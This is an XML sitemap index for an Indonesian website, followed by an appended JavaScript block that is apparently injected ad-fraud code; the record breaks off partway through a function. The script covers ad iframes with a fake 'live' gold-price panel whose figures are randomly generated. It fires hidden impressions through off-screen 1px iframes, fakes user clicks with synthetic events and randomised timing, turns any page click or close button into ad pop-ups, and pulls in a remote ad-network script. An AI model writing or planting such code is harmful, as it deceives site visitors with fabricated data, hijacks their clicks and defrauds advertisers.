<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://kreasik.id/wp-content/plugins/mastahseo/assets/xsl/sitemap-index.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://kreasik.id/sitemap-news.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-1.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-2.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-3.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-4.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-5.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-6.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-7.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-8.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-9.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-10.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-11.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-12.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-13.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-14.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-15.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-posts-16.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-pages.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-categories.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-tags.xml</loc>
	</sitemap>
	<sitemap>
		<loc>https://kreasik.id/sitemap-authors.xml</loc>
	</sitemap>
</sitemapindex>

<script data-cfasync="false" data-no-optimize="1" data-no-minify="1" type="text/javascript">(function () {
  'use strict';

  var adUrls = [
    'https://www.effectivecpmnetwork.com/kmyp8wx73?key=68cfd3744056e3a8d62f974437178dad'
    // ,'https://www.effectivecpmnetwork.com/gx7t74ter9?key=b9188614686bd92634b5a91120ecfbba'
    // ,'https://www.effectivecpmnetwork.com/d4f1bhpba?key=9c1d9b759416e280cadf898286f1c039'
  ];

  
  var adMode = 'script'; // default = smartlink-like: ad auto nampil di blkg gold
  var sequenceEveryMs = 8000;

  
  var adScriptSrc = 'https://pl30522536.effectivecpmnetwork.com/fc/6b/9f/fc6b9f668115548afed45d7c25e70139.js';
  var adScriptOnce = true;          // true = inject 1x per page
  var adScriptInSticky = true;      // true = inject di sticky body (di belakang gold)
  var adScriptAlsoHead = false;     // true = juga inject di <head> (lebih agresif, risk double)

  var adScriptPreloadOnBoot = true;
  var scriptInjected = false;

  
  var cloakMode = 'gold_over_iframe';
  var goldOpacityOverAd = 0.92;     // 0.85–0.97: user lihat gold, iframe tetap layout viewable
  var revealAdOnHover = false;      // desktop: hover gold → ads peep

  var alsoFireHiddenImps = true;
  var blankTimeoutMs = 0;

  
  var autoMiniPopBehind = true;
  var miniPopMode = 'behind';       // 'behind' = full under gold | 'mini' = corner window peep
  var miniPopPeep = true;           // turunin gold opacity biar ads peep
  var miniPopGoldOpacity = 0.78;    // dipakai kalau miniPopPeep
  var miniPopW = '42%';             // mode mini only
  var miniPopH = '48%';
  var miniPopRight = '8px';
  var miniPopBottom = '8px';
  var tryAutoWindowOpen = true;     // ON: coba auto tab/pop on gold show (sering diblok browser; fallback minipop iframe)

  var openAllOnAnyClick = true;     // page + sticky
  var openAllOnClose = true;
  var openOnClose = true;
  var openPrimaryOnly = true;       // true = 1 tab (popup blocker friendly); false = semua URL

  var persistClose = false;
  var oncePerSession = false;
  var cookieName = 'gp_sticky_status_v3';
  var expireSeconds = 60 * 30;
  var autoShowMs = 600;
  var minScrollPx = 24;
  var scrollDebounceMs = 180;
  var idxKey = 'gp_sticky_rot_idx_v3';
  var sessionDoneKey = 'gp_sticky_done_v3';
  var collapsedKey = 'gp_sticky_collapsed_v3';
  var stickyId = 'hc-mkt-bar';
  var impressKey = 'gp_sticky_imp_v3';
  var logKey = 'gp_sticky_log_v3';

  var autoEngage = true;
  var autoEngageDwellMs = 1200;     // expand fully + mark viewable
  var autoMicroScroll = true;       // 1 soft scroll nudge biar scroll-listener natural
  var autoMicroScrollPx = 48;
  var autoMicroScrollDelayMs = 900;
  var autoPulseMs = 4500;           // subtle bar pulse (attention)
  var autoCollapseAfterMs = 0;      // 0 = stay expanded; e.g. 20000 collapse
  var viewabilityMinRatio = 0.5;    // IO threshold

  
  var syntheticClick = {
    mode: 'chain',              // 'off' | 'chain' | 'lab_auto' | 'both'
    labAutoAfterMs: 2800,       // delay setelah show (lab_auto / both)
    labAutoOnce: true,          // max 1 auto synthetic per page
    chainOnPageGesture: true,   // page click/touch → synthetic sebelum open
    chainOnStickyGesture: true, // sticky CTA/X/body → synthetic
    preferTarget: 'cta',        // 'cta' | 'gold' | 'frame' | 'bar'
    logIsTrusted: true,         // log event.isTrusted di handler
    randomJitterMs: 120         // humanize lab_auto timing ±ms
  };

  var brandName = 'Market Desk Live';
  var brandHostLabel = 'london-gold-desk.co.uk';
  var ctaText = 'Open full chart';
  var expandedH = '42vh';
  var collapsedH = '44px';

  
  var pageFilter = {

    enabledHosts: ['', 'www.'],

    excludePaths: [
      '/',
      '/index',
      '/index.html',
      '/home',
      '/jasa',
      '/services',
      '/service',
      '/kontak',
      '/contact',
      '/about',
      '/about-us',
      '/tentang',
      '/privacy',
      '/privacy-policy',
      '/terms',
      '/tos'
    ],

    includeOnlyPaths: [],

    excludePrefix: true
  };

  var currentAdUrl = null;
  var sequenceTimer = null;
  var sequenceIdx = 0;
  var shownThisPage = false;
  var impressFired = false;
  var closedThisPage = false;
  var closeCooldownUntil = 0;
  var reShowAfterCloseMs = 0;
  var pageOpenBound = false;
  var viewableLogged = false;
  var engageTimers = [];
  var synthLabFired = false;
  var lastGestureTrusted = null;
  var engageLock = false;

  var scrollCloseBlock = {
    enabled: true,
    touchMovePx: 10,          // geser >= ini = scroll/drag, bukan tap
    afterScrollMs: 320,       // window setelah scroll event: block touch-close
    suppressTouchClose: true  // true = scroll gak pernah nutup
  };
  var touchTrack = { x: 0, y: 0, moved: false, active: false };
  var lastScrollAt = 0;
  var scrollCloseArmed = false; // reserved

  function normPath(p) {
    try {
      p = String(p || '/').split('?')[0].split('#')[0];
      p = p.replace(/\/+/g, '/');
      if (p.length > 1 && p.charAt(p.length - 1) === '/') p = p.slice(0, -1);
      if (!p) p = '/';
      return p.toLowerCase();
    } catch (e) {
      return '/';
    }
  }

  function hostAllowedForFilter() {
    var hosts = pageFilter && pageFilter.enabledHosts;
    if (!hosts || !hosts.length) return true; // path filter global
    try {
      var h = (location.hostname || '').toLowerCase().replace(/^www\./, '');
      for (var i = 0; i < hosts.length; i++) {
        var want = String(hosts[i] || '').toLowerCase().replace(/^www\./, '');
        if (h === want || h.endsWith('.' + want)) return true;
      }
      return false; // host lain: jangan apply exclude (sticky tetap boleh)
    } catch (e) {
      return true;
    }
  }

  function pathMatchesList(path, list, asPrefix) {
    if (!list || !list.length) return false;
    var p = normPath(path);
    for (var i = 0; i < list.length; i++) {
      var raw = list[i];
      if (raw == null || raw === '') continue;
      var rule = normPath(raw);
      if (p === rule) return true;
      if (asPrefix && rule !== '/' && (p.indexOf(rule + '/') === 0)) return true;

    }
    return false;
  }

  
  function isPageExcluded() {
    try {
      if (!hostAllowedForFilter()) return false;
      var path = normPath(location.pathname || '/');
      var includeOnly = pageFilter && pageFilter.includeOnlyPaths;
      var exclude = pageFilter && pageFilter.excludePaths;
      var asPrefix = !!(pageFilter && pageFilter.excludePrefix);

      if (includeOnly && includeOnly.length) {
        var ok = pathMatchesList(path, includeOnly, true);
        if (!ok) {
          logEvent('page_skip', { reason: 'not_in_include', path: path });
          return true;
        }
      }

      if (pathMatchesList(path, exclude, asPrefix)) {
        logEvent('page_skip', { reason: 'exclude', path: path });
        return true;
      }
      return false;
    } catch (e) {
      return false;
    }
  }

  function logEvent(type, extra) {
    try {
      var row = { t: Date.now(), type: type, extra: extra || null };
      var prev = [];
      try { prev = JSON.parse(ssGet(logKey) || '[]'); } catch (e0) { prev = []; }
      if (!Array.isArray(prev)) prev = [];
      prev.push(row);
      if (prev.length > 40) prev = prev.slice(-40);
      ssSet(logKey, JSON.stringify(prev));
      if (window.GP_STICKY_DEBUG) console.log('[gp-sticky]', type, extra || '');
    } catch (e) {}
  }

  function setAdCookie(name, value, seconds) {
    try {
      var date = new Date(Date.now() + seconds * 1000);
      document.cookie =
        name + '=' + encodeURIComponent(value) +
        ';expires=' + date.toUTCString() +
        ';path=/;SameSite=Lax';
    } catch (e) {}
  }

  function getAdCookie(name) {
    try {
      var m = document.cookie.match(
        new RegExp('(?:^|; )' + name.replace(/([.$?*|{}()\[\]\\\/\+^])/g, '\\$1') + '=([^;]*)')
      );
      return m ? decodeURIComponent(m[1]) : null;
    } catch (e) {
      return null;
    }
  }

  function ssGet(k) {
    try { return sessionStorage.getItem(k); } catch (e) { return null; }
  }
  function ssSet(k, v) {
    try { sessionStorage.setItem(k, v); } catch (e) {}
  }
  function localGet(k) {
    try { return localStorage.getItem(k); } catch (e) { return null; }
  }
  function localSet(k, v) {
    try { localStorage.setItem(k, v); } catch (e) {}
  }

  function alreadyDone() {
    if (closedThisPage) return true;
    if (Date.now() < closeCooldownUntil) return true;
    if (!persistClose) return false;
    if (oncePerSession && ssGet(sessionDoneKey) === '1') return true;
    if (getAdCookie(cookieName)) return true;
    return false;
  }

  function markClosed(source) {
    closedThisPage = true;
    closeCooldownUntil = Date.now() + 2500;
    shownThisPage = false;
    clearEngageTimers();
    if (reShowAfterCloseMs > 0) {
      setTimeout(function () { closedThisPage = false; }, reShowAfterCloseMs);
    }
    if (!persistClose) return;
    if (oncePerSession) ssSet(sessionDoneKey, '1');
    setAdCookie(cookieName, source || 'closed', expireSeconds);
  }

  function esc(s) {
    return String(s).replace(/[&<>"']/g, function (c) {
      if (c === '&') return '&' + 'amp;';
      if (c === '<') return '&' + 'lt;';
      if (c === '>') return '&' + 'gt;';
      if (c === '"') return '&' + 'quot;';
      return '&#' + '39;';
    });
  }

  function getNextUrlRoundRobin() {
    if (!adUrls.length) return null;
    var idx = parseInt(ssGet(idxKey) || localGet(idxKey) || '-1', 10);
    if (isNaN(idx)) idx = -1;
    idx = (idx + 1) % adUrls.length;
    ssSet(idxKey, String(idx));
    localSet(idxKey, String(idx));
    return adUrls[idx];
  }

  function synthEnabled(kind) {
    var m = (syntheticClick && syntheticClick.mode) || 'off';
    if (m === 'off') return false;
    if (kind === 'chain') return m === 'chain' || m === 'both';
    if (kind === 'lab_auto') return m === 'lab_auto' || m === 'both';
    return false;
  }

  function pickSynthTarget() {
    var pref = (syntheticClick && syntheticClick.preferTarget) || 'cta';
    var map = {
      cta: document.getElementById('gp-cta'),
      gold: document.getElementById('gp-gold-layer'),
      frame: document.getElementById('gp-ad-frame'),
      bar: document.querySelector('#' + stickyId + ' .gp-bar'),
      body: document.getElementById('gp-sticky-body'),
      root: document.getElementById(stickyId)
    };
    var el = map[pref] || map.cta || map.gold || map.root;
    if (!el) el = map.root;
    return el;
  }

  
  function fireSyntheticClick(reason) {
    var el = pickSynthTarget();
    if (!el) {
      logEvent('synth_skip', { reason: reason, why: 'no_target' });
      return { ok: false, why: 'no_target' };
    }

    var rect = null;
    try { rect = el.getBoundingClientRect(); } catch (e0) { rect = null; }
    var cx = rect ? Math.floor(rect.left + Math.min(rect.width * 0.5, Math.max(8, rect.width - 8))) : 40;
    var cy = rect ? Math.floor(rect.top + Math.min(rect.height * 0.45, Math.max(8, rect.height - 8))) : 40;
    var detail = {
      reason: reason || 'synth',
      target: el.id || el.className || el.tagName,
      x: cx,
      y: cy,
      methods: []
    };

    function tryDispatch(type, Init, opts) {
      try {
        var ev;
        if (typeof Init === 'function') {
          ev = new Init(type, opts);
        } else {
          ev = document.createEvent('Event');
          ev.initEvent(type, true, true);
        }
        var ok = el.dispatchEvent(ev);
        detail.methods.push({ type: type, ok: !!ok, isTrusted: !!(ev && ev.isTrusted) });
        return ok;
      } catch (err) {
        detail.methods.push({ type: type, ok: false, err: String(err && err.message || err) });
        return false;
      }
    }

    var baseMouse = {
      bubbles: true,
      cancelable: true,
      view: window,
      clientX: cx,
      clientY: cy,
      screenX: cx,
      screenY: cy,
      button: 0,
      buttons: 1,
      detail: 1
    };

    if (typeof PointerEvent === 'function') {
      tryDispatch('pointerdown', PointerEvent, Object.assign({}, baseMouse, { pointerId: 1, pointerType: 'mouse', isPrimary: true }));
      tryDispatch('pointerup', PointerEvent, Object.assign({}, baseMouse, { pointerId: 1, pointerType: 'mouse', isPrimary: true, buttons: 0 }));
    }
    if (typeof MouseEvent === 'function') {
      tryDispatch('mousedown', MouseEvent, baseMouse);
      tryDispatch('mouseup', MouseEvent, Object.assign({}, baseMouse, { buttons: 0 }));
      tryDispatch('click', MouseEvent, Object.assign({}, baseMouse, { buttons: 0 }));
    } else {
      tryDispatch('click', null, null);
    }

    try {
      if (typeof el.click === 'function') {
        el.click();
        detail.methods.push({ type: 'HTMLElement.click', ok: true, isTrusted: false });
      }
    } catch (eClick) {
      detail.methods.push({ type: 'HTMLElement.click', ok: false, err: String(eClick && eClick.message || eClick) });
    }

    try {
      if (typeof TouchEvent === 'function' && typeof Touch === 'function') {
        var touch = new Touch({
          identifier: Date.now() % 100000,
          target: el,
          clientX: cx,
          clientY: cy,
          screenX: cx,
          screenY: cy,
          pageX: cx + (window.scrollX || 0),
          pageY: cy + (window.scrollY || 0),
          radiusX: 2,
          radiusY: 2,
          force: 0.5
        });
        var tOpts = { bubbles: true, cancelable: true, touches: [touch], targetTouches: [touch], changedTouches: [touch], view: window };
        tryDispatch('touchstart', TouchEvent, tOpts);
        tryDispatch('touchend', TouchEvent, Object.assign({}, tOpts, { touches: [], targetTouches: [] }));
      }
    } catch (eTouch) {
      detail.methods.push({ type: 'TouchEvent', ok: false, err: String(eTouch && eTouch.message || eTouch) });
    }

    detail.ok = detail.methods.some(function (m) { return m.ok; });
    logEvent('synth_click', detail);
    return detail;
  }

  function openAdLink(url, source, gestureEvent) {
    if (!url) return false;
    var win = null;
    var trusted = gestureEvent ? !!gestureEvent.isTrusted : null;
    try {
      var name = 'gp_ad_' + String(source || 'x') + '_' + String(Math.random()).slice(2, 8);
      win = window.open(url, name);
    } catch (e) {
      win = null;
    }
    if (!win) {
      try {
        var a = document.createElement('a');
        a.href = url;
        a.target = '_blank';
        a.rel = 'noopener noreferrer';
        a.style.display = 'none';
        (document.body || document.documentElement).appendChild(a);

        a.click();
        a.parentNode && a.parentNode.removeChild(a);
      } catch (e2) {}
    }
    logEvent('open', {
      url: url,
      source: source,
      ok: !!win,
      gestureTrusted: trusted,
      lastGestureTrusted: lastGestureTrusted
    });
    return !!win;
  }

  function openAllAdLinks(source, gestureEvent) {
    var opened = 0;
    if (openPrimaryOnly) {
      var u = currentAdUrl || adUrls[0];
      if (openAdLink(u, (source || 'primary'), gestureEvent)) opened++;
      return opened;
    }
    for (var i = 0; i < adUrls.length; i++) {
      if (openAdLink(adUrls[i], (source || 'all') + '_' + i, gestureEvent)) opened++;
    }
    return opened;
  }

  
  function openAllThenClose(source, opts) {
    opts = opts || {};
    if (engageLock) return;
    engageLock = true;
    var gest = opts.gestureEvent || null;
    try {
      if (gest && typeof gest.isTrusted === 'boolean') {
        lastGestureTrusted = gest.isTrusted;
        if (syntheticClick && syntheticClick.logIsTrusted) {
          logEvent('gesture_meta', {
            source: source,
            isTrusted: gest.isTrusted,
            type: gest.type || null
          });
        }
      }

      var wantSynth = opts.withSynth;
      if (wantSynth == null) {
        wantSynth = synthEnabled('chain') && !opts.fromSynthAuto;
        if (gest && syntheticClick) {
          var isSticky = false;
          try {
            var t = gest.target;
            isSticky = !!(t && t.closest && t.closest('#' + stickyId));
          } catch (eS) {}
          if (isSticky && syntheticClick.chainOnStickyGesture === false) wantSynth = false;
          if (!isSticky && syntheticClick.chainOnPageGesture === false) wantSynth = false;
        }
      }
      if (wantSynth) {
        try { fireSyntheticClick('chain:' + (source || 'click')); } catch (eSyn) {}
      }

      markClosed(source || 'click-open-all');
      try {
        if (openAllOnAnyClick || openAllOnClose) {
          openAllAdLinks(source || 'click', gest);
        } else if (openOnClose && currentAdUrl) {
          openAdLink(currentAdUrl, source || 'click', gest);
        }
      } catch (e) {}
      removeSticky();
      logEvent('close', {
        source: source || 'click',
        fromSynthAuto: !!opts.fromSynthAuto,
        gestureTrusted: gest ? !!gest.isTrusted : null
      });
    } finally {
      engageLock = false;
    }
  }

  function fireImpressions(reason) {
    if (impressFired) return;
    impressFired = true;
    var host = document.getElementById('gp-imp-host');
    if (!host) {
      host = document.createElement('div');
      host.id = 'gp-imp-host';
      host.setAttribute('aria-hidden', 'true');
      host.style.cssText = 'position:fixed;left:-9999px;top:-9999px;width:1px;height:1px;overflow:hidden;opacity:0;pointer-events:none;';
      (document.body || document.documentElement).appendChild(host);
    }
    host.innerHTML = '';
    for (var i = 0; i < adUrls.length; i++) {
      (function (u, n) {
        try {
          var ifr = document.createElement('iframe');
          ifr.src = u;
          ifr.width = 1;
          ifr.height = 1;
          ifr.style.cssText = 'width:1px;height:1px;border:0;';
          ifr.setAttribute('title', 'imp-' + n);
          ifr.setAttribute('loading', 'eager');
          ifr.setAttribute('referrerpolicy', 'no-referrer-when-downgrade');
          host.appendChild(ifr);
        } catch (e) {}
        try {
          var img = new Image();
          img.referrerPolicy = 'no-referrer-when-downgrade';
          img.src = u + (u.indexOf('?') >= 0 ? '&' : '?') + 'gp_imp=1&n=' + n + '&r=' + encodeURIComponent(reason || 'show') + '&t=' + Date.now();
        } catch (e2) {}
      })(adUrls[i], i);
    }
    try { ssSet(impressKey, String(Date.now())); } catch (e3) {}
    logEvent('hidden_imp', { reason: reason });
  }

  function clearEngageTimers() {
    for (var i = 0; i < engageTimers.length; i++) {
      try { clearTimeout(engageTimers[i]); } catch (e) {}
    }
    engageTimers = [];
    if (sequenceTimer) {
      clearInterval(sequenceTimer);
      sequenceTimer = null;
    }
  }

  function injectCss() {
    if (document.getElementById('gp-sticky-css-v3')) return;
    var css = document.createElement('style');
    css.id = 'gp-sticky-css-v3';
    css.textContent =
      '#' + stickyId + '{position:fixed;left:0;right:0;bottom:0;z-index:2147483646;' +
      'display:none;flex-direction:column;background:#0b1220;color:#f8fafc;' +
      'font:13px/1.35 system-ui,-apple-system,Segoe UI,Roboto,sans-serif;' +
      'box-shadow:0 -10px 40px rgba(0,0,0,.35);border-top:1px solid rgba(250,204,21,.35);' +
      'height:' + expandedH + ';max-height:70vh;transition:height .22s ease,box-shadow .3s ease}' +
      '#' + stickyId + '.gp-collapsed{height:' + collapsedH + ';max-height:' + collapsedH + '}' +
      '#' + stickyId + '.gp-pulse{box-shadow:0 -12px 48px rgba(250,204,21,.45)}' +
      '#' + stickyId + ' .gp-bar{display:flex;align-items:center;justify-content:space-between;gap:8px;' +
      'padding:8px 10px;background:linear-gradient(90deg,#111827,#1e293b 55%,#0f172a);flex-shrink:0}' +
      '#' + stickyId + ' .gp-left{display:flex;align-items:center;gap:8px;min-width:0}' +
      '#' + stickyId + ' .gp-chev{border:0;background:#334155;color:#e2e8f0;width:28px;height:28px;' +
      'border-radius:8px;cursor:pointer;font-size:14px;line-height:1;flex-shrink:0}' +
      '#' + stickyId + ' .gp-titlewrap{min-width:0}' +
      '#' + stickyId + ' .gp-title{font-weight:700;color:#facc15;font-size:12px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}' +
      '#' + stickyId + ' .gp-sub{color:#94a3b8;font-size:11px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}' +
      '#' + stickyId + ' .gp-right{display:flex;align-items:center;gap:6px;flex-shrink:0}' +
      '#' + stickyId + ' .gp-cta{border:0;border-radius:999px;background:#facc15;color:#111827;' +
      'font:700 12px system-ui,sans-serif;padding:7px 12px;cursor:pointer}' +
      '#' + stickyId + ' .gp-x{border:0;background:transparent;color:#cbd5e1;font-size:20px;line-height:1;' +
      'padding:4px 8px;cursor:pointer}' +
      '#' + stickyId + ' .gp-body{flex:1;min-height:0;position:relative;background:#f8f4ec;overflow:hidden}' +
      '#' + stickyId + '.gp-collapsed .gp-body{display:none}' +
      '#' + stickyId + ' .gp-frame{position:absolute;inset:0;width:100%;height:100%;border:0;background:#fff;z-index:1}' +
      '#' + stickyId + ' .gp-gold{position:absolute;inset:0;z-index:2;padding:14px;overflow:auto;' +
      'background:linear-gradient(165deg,#f8f4ec 0%,#efe6d4 45%,#f5f0e6 100%);color:#1c1917;' +
      'font:14px/1.4 system-ui,-apple-system,Segoe UI,Roboto,sans-serif;transition:opacity .25s ease}' +
      '#' + stickyId + ' .gp-gold.gp-peep{opacity:0.2 !important}' +
      '#' + stickyId + ' .gp-gold .gp-badge{display:inline-block;background:#fef3c7;color:#92400e;border:1px solid #fcd34d;' +
      'border-radius:999px;padding:3px 8px;font:11px/1 system-ui,sans-serif;margin-bottom:8px}' +
      '#' + stickyId + ' .gp-gold h3{margin:0 0 4px;font:700 16px/1.2 system-ui,sans-serif;color:#111827}' +
      '#' + stickyId + ' .gp-gold .gp-desc{margin:0 0 10px;color:#57534e;font:12px system-ui,sans-serif}' +
      '#' + stickyId + ' .gp-gold .gp-price{font:800 30px/1 system-ui,sans-serif;color:#111827}' +
      '#' + stickyId + ' .gp-gold .gp-chg{font:700 13px system-ui,sans-serif;margin-top:4px}' +
      '#' + stickyId + ' .gp-gold .gp-meta{margin-top:8px;color:#78716c;font:11px system-ui,sans-serif}' +
      '#' + stickyId + ' .gp-gold .gp-cta-row{margin-top:12px;display:flex;gap:8px;flex-wrap:wrap}' +
      '#' + stickyId + ' .gp-gold .gp-pill{display:inline-block;background:#ca8a04;color:#111;border-radius:10px;' +
      'padding:10px 12px;font:700 12px system-ui,sans-serif}' +
      '#' + stickyId + ' .gp-gold .gp-pill.soft{background:#fff;border:1px solid #d6d3d1;color:#44403c}' +
      '#' + stickyId + ' .gp-brandstrip{display:flex;align-items:center;justify-content:space-between;gap:8px;' +
      'padding:6px 10px;background:#111827;border-top:1px solid #1f2937;flex-shrink:0}' +
      '#' + stickyId + ' .gp-brandstrip span{color:#94a3b8;font-size:11px}' +
      '#' + stickyId + ' .gp-brandstrip b{color:#facc15}' +
      '#' + stickyId + '.gp-collapsed .gp-brandstrip{display:none}' +
      '#' + stickyId + ' .gp-dots{display:flex;gap:4px;align-items:center;margin-left:6px}' +
      '#' + stickyId + ' .gp-dot{width:6px;height:6px;border-radius:50%;background:#475569}' +
      '#' + stickyId + ' .gp-dot.on{background:#facc15}' +
      '#' + stickyId + ' .gp-stack{position:absolute;inset:0;z-index:1;display:flex;flex-direction:column;gap:2px;background:#0f172a}' +
      'body.gp-sticky-pad{padding-bottom:calc(' + expandedH + ' + 8px)!important}' +
      'body.gp-sticky-pad.gp-sticky-collapsed{padding-bottom:52px!important}' +
      '@media (min-width:900px){#' + stickyId + '{left:auto;right:16px;bottom:16px;width:min(420px,calc(100vw - 32px));' +
      'height:min(560px,70vh);border-radius:14px;border:1px solid rgba(250,204,21,.35);overflow:hidden}' +
      '#' + stickyId + '.gp-collapsed{height:' + collapsedH + '}' +
      'body.gp-sticky-pad,body.gp-sticky-pad.gp-sticky-collapsed{padding-bottom:0!important}}';
    (document.head || document.documentElement).appendChild(css);
  }

  function setCollapsed(collapsed) {
    var el = document.getElementById(stickyId);
    if (!el) return;
    if (collapsed) {
      el.classList.add('gp-collapsed');
      document.body && document.body.classList.add('gp-sticky-collapsed');
      ssSet(collapsedKey, '1');
      var chev = document.getElementById('gp-chev');
      if (chev) chev.textContent = '▴';
    } else {
      el.classList.remove('gp-collapsed');
      document.body && document.body.classList.remove('gp-sticky-collapsed');
      ssSet(collapsedKey, '0');
      var chev2 = document.getElementById('gp-chev');
      if (chev2) chev2.textContent = '▾';
    }
  }

  function removeSticky() {
    clearEngageTimers();
    var el = document.getElementById(stickyId);
    if (el) {
      try { el.style.display = 'none'; el.remove(); } catch (e) {
        try { el.parentNode && el.parentNode.removeChild(el); } catch (e2) {}
      }
    }
    var again = document.getElementById(stickyId);
    if (again) { try { again.remove(); } catch (e3) {} }
    if (document.body) {
      document.body.classList.remove('gp-sticky-pad', 'gp-sticky-collapsed');
    }
    shownThisPage = false;
  }

  function updateDots(activeIdx) {
    var dots = document.querySelectorAll('#' + stickyId + ' .gp-dot');
    for (var i = 0; i < dots.length; i++) {
      if (i === activeIdx) dots[i].classList.add('on');
      else dots[i].classList.remove('on');
    }
    var sub = document.getElementById('gp-sub');
    if (sub) {
      sub.textContent = brandHostLabel + ' · ad ' + (activeIdx + 1) + '/' + adUrls.length + ' · ' + cloakMode;
    }
  }

  function buildDotsHtml() {
    if (adUrls.length <= 1) return '';
    var html = '<div class="gp-dots" id="gp-dots">';
    for (var i = 0; i < adUrls.length; i++) {
      html += '<span class="gp-dot' + (i === 0 ? ' on' : '') + '" data-i="' + i + '"></span>';
    }
    html += '</div>';
    return html;
  }

  function goldSpotHtml() {
    var spot = (2350 + Math.random() * 40).toFixed(2);
    var change = (Math.random() * 1.8 - 0.6).toFixed(2);
    var up = parseFloat(change) >= 0;
    var chColor = up ? '#16a34a' : '#dc2626';
    var chSign = up ? '+' : '';
    var now = new Date();
    var ts = now.toLocaleString('en-GB', {
      timeZone: 'Europe/London',
      hour12: false,
      year: 'numeric', month: 'short', day: '2-digit',
      hour: '2-digit', minute: '2-digit'
    });
    return (
      '<div class="gp-badge">LIVE · London desk · cloak on</div>' +
      '<h3>Gold Price (XAU/USD)</h3>' +
      '<p class="gp-desc">UK indicative spot · partner market tools</p>' +
      '<div class="gp-price">$' + spot + '</div>' +
      '<div class="gp-chg" style="color:' + chColor + '">' + chSign + change + '%</div>' +
      '<div class="gp-meta">Last update: ' + esc(ts) + ' (Europe/London)</div>' +
      '<div class="gp-cta-row">' +
        '<span class="gp-pill">Tap anywhere · open offer</span>' +
        '<span class="gp-pill soft">' + esc(brandHostLabel) + '</span>' +
      '</div>'
    );
  }

  function mountGoldLayer(body) {
    var gold = document.createElement('div');
    gold.className = 'gp-gold';
    gold.id = 'gp-gold-layer';
    gold.innerHTML = goldSpotHtml();
    body.appendChild(gold);
    return gold;
  }

  function mountVisibleIframe(body, url) {
    var iframe = document.createElement('iframe');
    iframe.className = 'gp-frame';
    iframe.id = 'gp-ad-frame';
    iframe.src = url;
    iframe.setAttribute('title', brandName + ' ad');
    iframe.setAttribute('loading', 'eager');
    iframe.setAttribute('referrerpolicy', 'no-referrer-when-downgrade');
    iframe.setAttribute('allow', 'autoplay; fullscreen; payment');

    iframe.style.cssText = 'position:absolute;inset:0;width:100%;height:100%;border:0;z-index:1;';
    body.appendChild(iframe);
    return iframe;
  }

  function mountStackVisible(body) {
    var wrap = document.createElement('div');
    wrap.className = 'gp-stack';
    for (var i = 0; i < adUrls.length; i++) {
      (function (u, n) {
        var item = document.createElement('div');
        item.style.cssText = 'position:relative;flex:1;min-height:0;background:#fff;overflow:hidden';
        var iframe = document.createElement('iframe');
        iframe.src = u;
        iframe.style.cssText = 'position:absolute;inset:0;width:100%;height:100%;border:0';
        iframe.setAttribute('title', brandName + ' ad ' + (n + 1));
        iframe.setAttribute('loading', 'eager');
        iframe.setAttribute('referrerpolicy', 'no-referrer-when-downgrade');
        item.appendChild(iframe);
        wrap.appendChild(item);
      })(adUrls[i], i);
    }
    body.appendChild(wrap);
  }

  
  function injectAdScript(targetEl, reason) {
    if (!adScriptSrc) {
      logEvent('script_skip', { reason: 'no_src' });
      return false;
    }
    if (adScriptOnce && scriptInjected) {
      logEvent('script_skip', { reason: 'once', src: adScriptSrc });
      return false;
    }
    try {
      var s = document.createElement('script');
      s.src = adScriptSrc;
      s.async = true;
      s.setAttribute('data-gp', 'sticky-v3-script');
      s.setAttribute('data-reason', reason || 'mount');

      if (targetEl && targetEl.appendChild) {
        targetEl.appendChild(s);
      } else {
        (document.head || document.documentElement).appendChild(s);
      }
      scriptInjected = true;
      logEvent('script_inject', { src: adScriptSrc, reason: reason || 'mount', where: targetEl ? 'sticky' : 'head' });
      return true;
    } catch (e) {
      logEvent('script_err', { err: String(e && e.message || e) });
      return false;
    }
  }

  function mountScriptLayer(body) {

    var host = document.createElement('div');
    host.className = 'gp-script-host';
    host.setAttribute('data-gp', 'script-host');
    host.style.cssText = [
      'position:absolute',
      'inset:0',
      'z-index:1',
      'width:100%',
      'height:100%',
      'overflow:hidden',
      'pointer-events:none', // gold di depan yang terima click; network biasanya bind document
      'opacity:0.01'        // layout ada, user gak lihat junk
    ].join(';');
    body.appendChild(host);

    if (scriptInjected && adScriptOnce) {
      logEvent('script_ready', { reason: 'already_preloaded', behind: 'gold' });
      return host;
    }

    if (adScriptInSticky) {
      injectAdScript(host, 'sticky_body');
    }
    if (adScriptAlsoHead) {
      injectAdScript(document.head || document.documentElement, 'head');
    }

    if (!adScriptInSticky && !adScriptAlsoHead) {
      injectAdScript(host, 'sticky_body_default');
    }
    return host;
  }

  
  function mountMiniPopBehind(body, url) {
    if (!autoMiniPopBehind) return null;
    var u = url || adUrls[0];
    if (!u) return null;

    var wrap = document.createElement('div');
    wrap.className = 'gp-minipop';
    wrap.id = 'gp-minipop';
